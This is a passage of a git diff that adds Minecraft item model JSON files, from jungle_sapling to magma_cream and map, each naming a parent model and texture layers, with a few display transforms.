+++ b/src/assets/minecraft/models/item/jungle_sapling.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/jungle_sapling" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/jungle_sign.json b/src/assets/minecraft/models/item/jungle_sign.json new file mode 100644 index 00000000..2ee2828e --- /dev/null +++ b/src/assets/minecraft/models/item/jungle_sign.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/jungle_sign" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/jungle_slab.json b/src/assets/minecraft/models/item/jungle_slab.json new file mode 100644 index 00000000..ed5a4321 --- /dev/null +++ b/src/assets/minecraft/models/item/jungle_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/jungle_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/jungle_stairs.json b/src/assets/minecraft/models/item/jungle_stairs.json new file mode 100644 index 00000000..87e9264c --- /dev/null +++ b/src/assets/minecraft/models/item/jungle_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/jungle_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/jungle_trapdoor.json b/src/assets/minecraft/models/item/jungle_trapdoor.json new file mode 100644 index 00000000..996f2808 --- /dev/null +++ b/src/assets/minecraft/models/item/jungle_trapdoor.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/jungle_trapdoor_bottom" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/jungle_wood.json b/src/assets/minecraft/models/item/jungle_wood.json new file mode 100644 index 00000000..c993caea --- /dev/null +++ b/src/assets/minecraft/models/item/jungle_wood.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/jungle_wood" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/kelp.json b/src/assets/minecraft/models/item/kelp.json new file mode 100644 index 00000000..b701d7b5 --- /dev/null +++ b/src/assets/minecraft/models/item/kelp.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/kelp" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/knowledge_book.json b/src/assets/minecraft/models/item/knowledge_book.json new file mode 100644 index 00000000..bc355f72 --- /dev/null +++ b/src/assets/minecraft/models/item/knowledge_book.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/knowledge_book" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/ladder.json b/src/assets/minecraft/models/item/ladder.json new file mode 100644 index 00000000..b4fd6267 --- /dev/null +++ b/src/assets/minecraft/models/item/ladder.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/ladder" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/lantern.json b/src/assets/minecraft/models/item/lantern.json new file mode 100644 index 00000000..ce9e5c10 --- /dev/null +++ b/src/assets/minecraft/models/item/lantern.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/lantern" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/lapis_block.json b/src/assets/minecraft/models/item/lapis_block.json new file mode 100644 index 00000000..1dcdaf6e --- /dev/null +++ b/src/assets/minecraft/models/item/lapis_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/lapis_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/lapis_lazuli.json b/src/assets/minecraft/models/item/lapis_lazuli.json new file mode 100644 index 00000000..ee8bdea5 --- /dev/null +++ b/src/assets/minecraft/models/item/lapis_lazuli.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/lapis_lazuli" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/lapis_ore.json b/src/assets/minecraft/models/item/lapis_ore.json new file mode 100644 index 00000000..87cec1e4 --- /dev/null +++ b/src/assets/minecraft/models/item/lapis_ore.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/lapis_ore" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/large_fern.json b/src/assets/minecraft/models/item/large_fern.json new file mode 100644 index 00000000..1072e940 --- /dev/null +++ b/src/assets/minecraft/models/item/large_fern.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/large_fern_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/lava_bucket.json b/src/assets/minecraft/models/item/lava_bucket.json new file mode 100644 index 00000000..4052c615 --- /dev/null +++ b/src/assets/minecraft/models/item/lava_bucket.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/lava_bucket" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/lead.json b/src/assets/minecraft/models/item/lead.json new file mode 100644 index 00000000..df628d66 --- /dev/null +++ b/src/assets/minecraft/models/item/lead.json @@ -0,0 +1,13 @@ +{ + "parent": "item/generated", + "textures": { + "layer0": "item/lead" + }, + "display": { + "head": { + "rotation": [ 0, 0, 0 ], + "translation": [ 2.75, -2.75, -6.5], + "scale":[ 0.8, 0.8, 0.8] + } + } +} diff --git a/src/assets/minecraft/models/item/leather.json b/src/assets/minecraft/models/item/leather.json new file mode 100644 index 00000000..2b48d1f8 --- /dev/null +++ b/src/assets/minecraft/models/item/leather.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/leather" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/leather_boots.json b/src/assets/minecraft/models/item/leather_boots.json new file mode 100644 index 00000000..9a9733ab --- /dev/null +++ b/src/assets/minecraft/models/item/leather_boots.json @@ -0,0 +1,7 @@ +{ + "parent": "item/generated", + "textures": { + "layer0": "item/leather_boots", + "layer1": "item/leather_boots_overlay" + } +} diff --git a/src/assets/minecraft/models/item/leather_chestplate.json b/src/assets/minecraft/models/item/leather_chestplate.json new file mode 100644 index 00000000..45359b7c --- /dev/null +++ b/src/assets/minecraft/models/item/leather_chestplate.json @@ -0,0 +1,7 @@ +{ + "parent": "item/generated", + "textures": { + "layer0": "item/leather_chestplate", + "layer1": "item/leather_chestplate_overlay" + } +} diff --git a/src/assets/minecraft/models/item/leather_helmet.json b/src/assets/minecraft/models/item/leather_helmet.json new file mode 100644 index 00000000..0e5775b7 --- /dev/null +++ b/src/assets/minecraft/models/item/leather_helmet.json @@ -0,0 +1,7 @@ +{ + "parent": "item/generated", + "textures": { + "layer0": "item/leather_helmet", + "layer1": "item/leather_helmet_overlay" + } +} diff --git a/src/assets/minecraft/models/item/leather_horse_armor.json b/src/assets/minecraft/models/item/leather_horse_armor.json new file mode 100644 index 00000000..f96eae75 --- /dev/null +++ b/src/assets/minecraft/models/item/leather_horse_armor.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/leather_horse_armor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/leather_leggings.json b/src/assets/minecraft/models/item/leather_leggings.json new file mode 100644 index 00000000..1d8f9844 --- /dev/null +++ b/src/assets/minecraft/models/item/leather_leggings.json @@ -0,0 +1,7 @@ +{ + "parent": "item/generated", + "textures": { + "layer0": "item/leather_leggings", + "layer1": "item/leather_leggings_overlay" + } +} diff --git a/src/assets/minecraft/models/item/lectern.json b/src/assets/minecraft/models/item/lectern.json new file mode 100644 index 00000000..4f2c887a --- /dev/null +++ b/src/assets/minecraft/models/item/lectern.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/lectern" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/lever.json b/src/assets/minecraft/models/item/lever.json new file mode 100644 index 00000000..d5a62d47 --- /dev/null +++ b/src/assets/minecraft/models/item/lever.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/lever" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/light_blue_banner.json b/src/assets/minecraft/models/item/light_blue_banner.json new file mode 100644 index 00000000..661a106d --- /dev/null +++ b/src/assets/minecraft/models/item/light_blue_banner.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_banner" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/light_blue_bed.json b/src/assets/minecraft/models/item/light_blue_bed.json new file mode 100644 index 00000000..fac4cda7 --- /dev/null +++ b/src/assets/minecraft/models/item/light_blue_bed.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_bed", + "textures": { + "particle": "minecraft:block/light_blue_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/light_blue_carpet.json b/src/assets/minecraft/models/item/light_blue_carpet.json new file mode 100644 index 00000000..9f199e5c --- /dev/null +++ b/src/assets/minecraft/models/item/light_blue_carpet.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/light_blue_carpet" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/light_blue_concrete.json b/src/assets/minecraft/models/item/light_blue_concrete.json new file mode 100644 index 00000000..68a0890f --- /dev/null +++ b/src/assets/minecraft/models/item/light_blue_concrete.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/light_blue_concrete" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/light_blue_concrete_powder.json b/src/assets/minecraft/models/item/light_blue_concrete_powder.json new file mode 100644 index 00000000..22ec71d5 --- /dev/null +++ b/src/assets/minecraft/models/item/light_blue_concrete_powder.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/light_blue_concrete_powder" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/light_blue_dye.json b/src/assets/minecraft/models/item/light_blue_dye.json new file mode 100644 index 00000000..297407da --- /dev/null +++ b/src/assets/minecraft/models/item/light_blue_dye.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/light_blue_dye" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/light_blue_glazed_terracotta.json b/src/assets/minecraft/models/item/light_blue_glazed_terracotta.json new file mode 100644 index 00000000..3d2b3bd7 --- /dev/null +++ b/src/assets/minecraft/models/item/light_blue_glazed_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/light_blue_glazed_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/light_blue_shulker_box.json b/src/assets/minecraft/models/item/light_blue_shulker_box.json new file mode 100644 index 00000000..d17a7729 --- /dev/null +++ b/src/assets/minecraft/models/item/light_blue_shulker_box.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_shulker_box", + "textures": { + "particle": "minecraft:block/light_blue_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/light_blue_stained_glass.json b/src/assets/minecraft/models/item/light_blue_stained_glass.json new file mode 100644 index 00000000..0aef7a92 --- /dev/null +++ b/src/assets/minecraft/models/item/light_blue_stained_glass.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/light_blue_stained_glass" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/light_blue_stained_glass_pane.json b/src/assets/minecraft/models/item/light_blue_stained_glass_pane.json new file mode 100644 index 00000000..d810047f --- /dev/null +++ b/src/assets/minecraft/models/item/light_blue_stained_glass_pane.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/light_blue_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/light_blue_terracotta.json b/src/assets/minecraft/models/item/light_blue_terracotta.json new file mode 100644 index 00000000..06294ea2 --- /dev/null +++ b/src/assets/minecraft/models/item/light_blue_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/light_blue_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/light_blue_wool.json b/src/assets/minecraft/models/item/light_blue_wool.json new file mode 100644 index 00000000..4f7bd4de --- /dev/null +++ b/src/assets/minecraft/models/item/light_blue_wool.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/light_blue_wool" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/light_gray_banner.json b/src/assets/minecraft/models/item/light_gray_banner.json new file mode 100644 index 00000000..661a106d --- /dev/null +++ b/src/assets/minecraft/models/item/light_gray_banner.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_banner" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/light_gray_bed.json b/src/assets/minecraft/models/item/light_gray_bed.json new file mode 100644 index 00000000..67c2af9e --- /dev/null +++ b/src/assets/minecraft/models/item/light_gray_bed.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_bed", + "textures": { + "particle": "minecraft:block/light_gray_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/light_gray_carpet.json b/src/assets/minecraft/models/item/light_gray_carpet.json new file mode 100644 index 00000000..f603263e --- /dev/null +++ b/src/assets/minecraft/models/item/light_gray_carpet.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/light_gray_carpet" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/light_gray_concrete.json b/src/assets/minecraft/models/item/light_gray_concrete.json new file mode 100644 index 00000000..9a4e67de --- /dev/null +++ b/src/assets/minecraft/models/item/light_gray_concrete.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/light_gray_concrete" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/light_gray_concrete_powder.json b/src/assets/minecraft/models/item/light_gray_concrete_powder.json new file mode 100644 index 00000000..6726d569 --- /dev/null +++ b/src/assets/minecraft/models/item/light_gray_concrete_powder.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/light_gray_concrete_powder" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/light_gray_dye.json b/src/assets/minecraft/models/item/light_gray_dye.json new file mode 100644 index 00000000..40a44acc --- /dev/null +++ b/src/assets/minecraft/models/item/light_gray_dye.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/light_gray_dye" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/light_gray_glazed_terracotta.json b/src/assets/minecraft/models/item/light_gray_glazed_terracotta.json new file mode 100644 index 00000000..46b9f176 --- /dev/null +++ b/src/assets/minecraft/models/item/light_gray_glazed_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/light_gray_glazed_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/light_gray_shulker_box.json b/src/assets/minecraft/models/item/light_gray_shulker_box.json new file mode 100644 index 00000000..0efe127a --- /dev/null +++ b/src/assets/minecraft/models/item/light_gray_shulker_box.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_shulker_box", + "textures": { + "particle": "minecraft:block/light_gray_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/light_gray_stained_glass.json b/src/assets/minecraft/models/item/light_gray_stained_glass.json new file mode 100644 index 00000000..e05c7e8d --- /dev/null +++ b/src/assets/minecraft/models/item/light_gray_stained_glass.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/light_gray_stained_glass" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/light_gray_stained_glass_pane.json b/src/assets/minecraft/models/item/light_gray_stained_glass_pane.json new file mode 100644 index 00000000..50284743 --- /dev/null +++ b/src/assets/minecraft/models/item/light_gray_stained_glass_pane.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/light_gray_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/light_gray_terracotta.json b/src/assets/minecraft/models/item/light_gray_terracotta.json new file mode 100644 index 00000000..a6cbc241 --- /dev/null +++ b/src/assets/minecraft/models/item/light_gray_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/light_gray_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/light_gray_wool.json b/src/assets/minecraft/models/item/light_gray_wool.json new file mode 100644 index 00000000..0bdc80f4 --- /dev/null +++ b/src/assets/minecraft/models/item/light_gray_wool.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/light_gray_wool" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/light_weighted_pressure_plate.json b/src/assets/minecraft/models/item/light_weighted_pressure_plate.json new file mode 100644 index 00000000..0922c670 --- /dev/null +++ b/src/assets/minecraft/models/item/light_weighted_pressure_plate.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/light_weighted_pressure_plate" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/lilac.json b/src/assets/minecraft/models/item/lilac.json new file mode 100644 index 00000000..7e062c92 --- /dev/null +++ b/src/assets/minecraft/models/item/lilac.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/lilac_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/lily_of_the_valley.json b/src/assets/minecraft/models/item/lily_of_the_valley.json new file mode 100644 index 00000000..2cd5a1cd --- /dev/null +++ b/src/assets/minecraft/models/item/lily_of_the_valley.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/lily_of_the_valley" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/lily_pad.json b/src/assets/minecraft/models/item/lily_pad.json new file mode 100644 index 00000000..e3aaf7f9 --- /dev/null +++ b/src/assets/minecraft/models/item/lily_pad.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/lily_pad" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/lime_banner.json b/src/assets/minecraft/models/item/lime_banner.json new file mode 100644 index 00000000..661a106d --- /dev/null +++ b/src/assets/minecraft/models/item/lime_banner.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_banner" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/lime_bed.json b/src/assets/minecraft/models/item/lime_bed.json new file mode 100644 index 00000000..3efda22b --- /dev/null +++ b/src/assets/minecraft/models/item/lime_bed.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_bed", + "textures": { + "particle": "minecraft:block/lime_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/lime_carpet.json b/src/assets/minecraft/models/item/lime_carpet.json new file mode 100644 index 00000000..b6f18c0a --- /dev/null +++ b/src/assets/minecraft/models/item/lime_carpet.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/lime_carpet" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/lime_concrete.json b/src/assets/minecraft/models/item/lime_concrete.json new file mode 100644 index 00000000..6becad9d --- /dev/null +++ b/src/assets/minecraft/models/item/lime_concrete.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/lime_concrete" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/lime_concrete_powder.json b/src/assets/minecraft/models/item/lime_concrete_powder.json new file mode 100644 index 00000000..a74380d0 --- /dev/null +++ b/src/assets/minecraft/models/item/lime_concrete_powder.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/lime_concrete_powder" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/lime_dye.json b/src/assets/minecraft/models/item/lime_dye.json new file mode 100644 index 00000000..36ae6c82 --- /dev/null +++ b/src/assets/minecraft/models/item/lime_dye.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/lime_dye" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/lime_glazed_terracotta.json b/src/assets/minecraft/models/item/lime_glazed_terracotta.json new file mode 100644 index 00000000..14b5723d --- /dev/null +++ b/src/assets/minecraft/models/item/lime_glazed_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/lime_glazed_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/lime_shulker_box.json b/src/assets/minecraft/models/item/lime_shulker_box.json new file mode 100644 index 00000000..5e0062e2 --- /dev/null +++ b/src/assets/minecraft/models/item/lime_shulker_box.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_shulker_box", + "textures": { + "particle": "minecraft:block/lime_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/lime_stained_glass.json b/src/assets/minecraft/models/item/lime_stained_glass.json new file mode 100644 index 00000000..becc3296 --- /dev/null +++ b/src/assets/minecraft/models/item/lime_stained_glass.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/lime_stained_glass" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/lime_stained_glass_pane.json b/src/assets/minecraft/models/item/lime_stained_glass_pane.json new file mode 100644 index 00000000..7f15356d --- /dev/null +++ b/src/assets/minecraft/models/item/lime_stained_glass_pane.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/lime_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/lime_terracotta.json b/src/assets/minecraft/models/item/lime_terracotta.json new file mode 100644 index 00000000..e6123030 --- /dev/null +++ b/src/assets/minecraft/models/item/lime_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/lime_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/lime_wool.json b/src/assets/minecraft/models/item/lime_wool.json new file mode 100644 index 00000000..e6600fa8 --- /dev/null +++ b/src/assets/minecraft/models/item/lime_wool.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/lime_wool" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/lingering_potion.json b/src/assets/minecraft/models/item/lingering_potion.json new file mode 100644 index 00000000..35ce5d79 --- /dev/null +++ b/src/assets/minecraft/models/item/lingering_potion.json @@ -0,0 +1,7 @@ +{ + "parent": "item/generated", + "textures": { + "layer0": "item/potion_overlay", + "layer1": "item/lingering_potion" + } +} diff --git a/src/assets/minecraft/models/item/llama_spawn_egg.json b/src/assets/minecraft/models/item/llama_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/llama_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/lodestone.json b/src/assets/minecraft/models/item/lodestone.json new file mode 100644 index 00000000..f926ec2e --- /dev/null +++ b/src/assets/minecraft/models/item/lodestone.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/lodestone" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/loom.json b/src/assets/minecraft/models/item/loom.json new file mode 100644 index 00000000..0fe6a7fa --- /dev/null +++ b/src/assets/minecraft/models/item/loom.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/loom" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/magenta_banner.json b/src/assets/minecraft/models/item/magenta_banner.json new file mode 100644 index 00000000..661a106d --- /dev/null +++ b/src/assets/minecraft/models/item/magenta_banner.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_banner" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/magenta_bed.json b/src/assets/minecraft/models/item/magenta_bed.json new file mode 100644 index 00000000..19af87b6 --- /dev/null +++ b/src/assets/minecraft/models/item/magenta_bed.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_bed", + "textures": { + "particle": "minecraft:block/magenta_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/magenta_carpet.json b/src/assets/minecraft/models/item/magenta_carpet.json new file mode 100644 index 00000000..386f8fcc --- /dev/null +++ b/src/assets/minecraft/models/item/magenta_carpet.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/magenta_carpet" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/magenta_concrete.json b/src/assets/minecraft/models/item/magenta_concrete.json new file mode 100644 index 00000000..8dce5e8f --- /dev/null +++ b/src/assets/minecraft/models/item/magenta_concrete.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/magenta_concrete" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/magenta_concrete_powder.json b/src/assets/minecraft/models/item/magenta_concrete_powder.json new file mode 100644 index 00000000..e221911b --- /dev/null +++ b/src/assets/minecraft/models/item/magenta_concrete_powder.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/magenta_concrete_powder" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/magenta_dye.json b/src/assets/minecraft/models/item/magenta_dye.json new file mode 100644 index 00000000..f1ebae5b --- /dev/null +++ b/src/assets/minecraft/models/item/magenta_dye.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/magenta_dye" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/magenta_glazed_terracotta.json b/src/assets/minecraft/models/item/magenta_glazed_terracotta.json new file mode 100644 index 00000000..45b94ea3 --- /dev/null +++ b/src/assets/minecraft/models/item/magenta_glazed_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/magenta_glazed_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/magenta_shulker_box.json b/src/assets/minecraft/models/item/magenta_shulker_box.json new file mode 100644 index 00000000..f21cad42 --- /dev/null +++ b/src/assets/minecraft/models/item/magenta_shulker_box.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_shulker_box", + "textures": { + "particle": "minecraft:block/magenta_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/magenta_stained_glass.json b/src/assets/minecraft/models/item/magenta_stained_glass.json new file mode 100644 index 00000000..62ff86a5 --- /dev/null +++ b/src/assets/minecraft/models/item/magenta_stained_glass.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/magenta_stained_glass" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/magenta_stained_glass_pane.json b/src/assets/minecraft/models/item/magenta_stained_glass_pane.json new file mode 100644 index 00000000..ad9621d1 --- /dev/null +++ b/src/assets/minecraft/models/item/magenta_stained_glass_pane.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/magenta_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/magenta_terracotta.json b/src/assets/minecraft/models/item/magenta_terracotta.json new file mode 100644 index 00000000..07d44199 --- /dev/null +++ b/src/assets/minecraft/models/item/magenta_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/magenta_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/magenta_wool.json b/src/assets/minecraft/models/item/magenta_wool.json new file mode 100644 index 00000000..e3ef178b --- /dev/null +++ b/src/assets/minecraft/models/item/magenta_wool.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/magenta_wool" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/magma_block.json b/src/assets/minecraft/models/item/magma_block.json new file mode 100644 index 00000000..ac1aa2f4 --- /dev/null +++ b/src/assets/minecraft/models/item/magma_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/magma_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/magma_cream.json b/src/assets/minecraft/models/item/magma_cream.json new file mode 100644 index 00000000..f9d7a14d --- /dev/null +++ b/src/assets/minecraft/models/item/magma_cream.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/magma_cream" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/magma_cube_spawn_egg.json b/src/assets/minecraft/models/item/magma_cube_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/magma_cube_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/map.json b/src/assets/minecraft/models/item/map.json new file mode 100644 index 00000000..282650e2 --- /dev/null +++ b/src/assets/minecraft/models/item/map.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/map" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/melon.json b/src/assets/minecraft/models/item/melon.json new file mode 100644 index 00000000..f0bcf44e --- /dev/null +++ b/src/assets/minecraft/models/item/melon.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/melon" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/melon_seeds.json b/src/assets/minecraft/models/item/melon_seeds.json new file mode 100644 index 00000000..71e34075 --- /dev/null +++ b/src/assets/minecraft/models/item/melon_seeds.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/melon_seeds" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/melon_slice.json b/src/assets/minecraft/models/item/melon_slice.json new file mode 100644 index 00000000..70a587eb --- /dev/null +++ b/src/assets/minecraft/models/item/melon_slice.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/melon_slice" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/milk_bucket.json 